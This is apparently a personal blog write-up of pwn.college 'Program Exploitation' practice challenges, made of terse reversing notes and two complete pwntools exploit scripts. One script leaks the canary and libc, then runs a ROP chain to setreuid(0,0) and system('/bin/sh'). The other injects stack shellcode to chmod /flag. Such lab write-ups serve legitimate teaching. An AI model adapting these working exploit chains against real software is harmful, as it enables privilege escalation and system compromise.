pwn.college-pro sec-_Program Explotation

Welcome to back

Program Exploitation

Challenges

Containment Composition (Easy)

No win function

stack overflow???

maybe orw

a seccomp filter!

wc

If rbp-0x28 is 0x725271a4bd26531a

The seccomp will be avoided

REPEAT !!!

read to rbp-0x78, but what’s in rbp-0x78?

Here is the addr of rbp-0x60

so, buffer is at rbp-0x60

We could utilize printf to leak data

We find canary at rbp-0x18

specially

The challenge has PIE

Get libc

At first we could utilize the printf to leak the address at challenge’s ret which pointer to main

The vaule - 0x22b6 = main_base_addr

success

Now, is time to leak canary

The canary is at $rbp-0x18

????

good

Now, to leak libc_base_addr

Utilize puts_function

We should set jail_num at rbp_0x28

Good, we get libc_base_addr

good

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
In [1]: from pwn import *
...: context.binary =ELF('/challenge/toddlerone-level-5-0')
...: p=process(b'/challenge/toddlerone-level-5-0')
...: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
...: jail_num = 0x725271a4bd26531a
...: again_code = b'REPEAT'
...: payload_1 = b'k'*(0x68-0x6) +again_code
...: #leak ret_main_addr first
...: p.recvuntil(b'Payload size:')
...: p.sendline(str(len(payload_1)).encode())
...: print("payload_1_size", str(len(payload_1)).encode())
...: p.send(payload_1)
...: p.recvuntil(again_code)
...: ret_main_addr = u64(p.recv(6).ljust(8,b'\x00'))
...: print("main_ret_addr", hex(ret_main_addr))
...: main_base_addr = ret_main_addr - 0x22b6
...: print("main_base_addr", hex(main_base_addr))
...: #We get it! Now, is time to leak canary
...: #Obviously, we could courrupt the low value of canary
...: p.recvuntil(b'Payload size:')
...: payload_2 = b'k'*(0x48+0x1-0x6) +again_code
...: p.sendline(str(len(payload_2)).encode())
...: print("payload_2_size", str(len(payload_2)).encode())
...: p.send(payload_2)
...: p.recvuntil(again_code)
...: canary = u64(p.recv(7).rjust(8,b'\x00'))
...: print("canary", hex(canary))
...: #good, we get canary.
...: #Now, to leak libc_base_addr
...: challenge_addr = main_base_addr + 0x1bad
...: e = p.elf
...: e.address = main_base_addr
...: p.recvuntil(b'Payload size:')
...: r = ROP(e)
...: r.raw(r.rdi)
...: r.raw(e.got['puts'])
...: r.raw(e.plt['puts'])
...: r.raw(challenge_addr)
...: payload_3 = b'k'*(0x60-0x28)+p64(jail_num)+b'k'*(0x28-0x18-0x8)+p64(canary)+b'k'*0x10+p64(0xdeadbeef)+r.chain()
...: p.sendline(str(len(payload_3)).encode())
...: p.send(payload_3)
...: print("payload_3_size", str(len(payload_3)).encode())
...: p.send(payload_3)
...: print("payload_3_size", str(len(payload_3)).encode())
...: p.recvuntil(b"Goodbye!\n")
...: puts_got_addr = u64(p.recv(6).ljust(8,b"\x00"))
...: libc_base_addr = puts_got_addr - libc.symbols['puts']
...: print("libc_base_addr", hex(libc_base_addr))
...: # add ROP
...: libc.address = libc_base_addr
...: sys_addr = libc.symbols['system']
...: binsh_addr = next(libc.search(b'/bin/sh'))
...: setreuid_addr = libc.symbols['setreuid']
...: rop = ROP(libc)
...: ruid = 0
...: euid = 0
...: rop.raw(rop.rdi)
...: rop.raw(ruid)
...: rop.raw(rop.rsi)
...: rop.raw(euid)
...: rop.raw(setreuid_addr)
...: rop.raw(rop.rdi)
...: rop.raw(binsh_addr)
...: rop.raw(sys_addr)
...: #rop.raw(sys_addr)
...: payload_4 = b'k'*(0x60-0x28)+p64(jail_num)+b'k'*(0x28-0x18-0x8)+p64(canary)+b'k'*0x10+p64(0xdeadbeef)+rop.chain()
...: p.sendline(str(len(payload_4)).encode())
...: print("payload_4_size", str(len(payload_4)).encode())
...: p.send(payload_4)
...: p.interactive()

Containment Composition (Hard)

where is main_function?

before call __libc_start_main, the addr of main was stored in rdi

we get libc_start_main_addr

si,si,si

good

the main_addr is stored in $rsp + 0x18

call main!!!

we find main function

Utilize ida

All right

we find challenge function

canary is at rbp - 0x8

where is jail_num ???

this is v12[12]

the jail_num should currupt at v12[11]

the addr in rax is rbp-0x70+0x60, v12[12] is at rbp-0x10

Obviously, v12[11] is at rpb-0x18

the buf is at v12, so the buf is at rbp-0x70

here is jail_num

good

ret to main

very hard

Constant Corruption (Easy)

we have RWX right in stack, wow

seccomp

we can run shellcode at stack

in sandbox we can only use write and exit_group

if REPEAT in buf, we can pass seccomp and recall challenge

canary is at rbp-0x18

the buf is at rbp-0x50

we could send shellcode in buf and ret to buf to run

we get canary

the saved rbp is main’s rbp

we get the offset of main’s rbp and buf

before pop rbp, we will pop rbx

the seccomp will allow 2 function

the rbp-0x60 is at rbp-0x50+0x28=rbp-0x28

0x28=40

well

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
In [1]: from pwn import *
...: context.binary =ELF('/challenge/toddlerone-level-6-0')
...: p=process(b'/challenge/toddlerone-level-6-0')
...: #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
...: #jail_num = 0xbe0251a35480a065
...: again_code = b'REPEAT'
...: payload_1 = b'k'*(0x50-0x6) +again_code
...: #leak ret_main_addr first
...: p.recvuntil(b'Payload size:')
...: p.sendline(str(len(payload_1)).encode())
...: print("payload_1_size", str(len(payload_1)).encode())
...: p.send(payload_1)
...: p.recvuntil(again_code)
...: saved_rbp_addr = u64(p.recv(6).ljust(8,b'\x00'))
...: print("saved_rbp_addr", hex(saved_rbp_addr))
...: #pause()
...: buf_addr = saved_rbp_addr - 0x11f0
...: print("buf_addr", hex(buf_addr))
...: #We get it! Now, is time to leak canary
...: p.recvuntil(b'Payload size:')
...: payload_2 = b'k'*(0x50-0x18+0x1-0x6) +again_code
...: p.sendline(str(len(payload_2)).encode())
...: print("payload_2_size", str(len(payload_2)).encode())
...: p.send(payload_2)
...: p.recvuntil(again_code)
...: canary = u64(p.recv(7).rjust(8,b'\x00'))
...: print("canary", hex(canary))
...: #pause()
...: #p.close()
...: shellcode = shellcraft.pushstr('/flag')
...: shellcode += shellcraft.syscall('SYS_chmod', 'rsp', 0o777)
...: shellcode = asm(shellcode)
...: #shellcode_=shellcode.ljust(0x50-0x18, b'\x90')
...: print("shellcode_size", str(len(shellcode)).encode())
...: payload_4 = shellcode+b'\x90'+p32(90)+p32(1)+b'k'*(0x50-0x18-48)+p64(canary)+p64(0xdeadbeef)+p64(0xdeadbeef)+p64(0xdeadbeef)+p64(buf_addr)
...: p.sendline(str(len(payload_4)).encode())
...: print("payload_4_size", str(len(payload_4)).encode())
...: p.send(payload_4)
...: #pause()
...: #p.close()
...: !cat /flag
...: p.interactive()

Constant Corruption (Hard)

no function name

main is at rsp + 0x18

good

call main

the challenge function

scanf size at rbp-0x90

read at rbp-0x88’s addr

the rbp-0x88 is pointer to rbp-0x70

the canary is at rbp -0x8

the rule_add’s syscall_number is at rbp - 0x80

the rbp-0x80 is poiner to rbp-0x14

good

Return to YanLand (Easy)

No asrl

well

analyse the Yan85

we find the interpreter_loop function


pwn.college-pro sec-_Program Explotation
https://ghostshark-pro.github.io/2026/04/23/pwn.college-pro sec-_Program Explotation/
Author
shark
Posted
2026年4月23日
License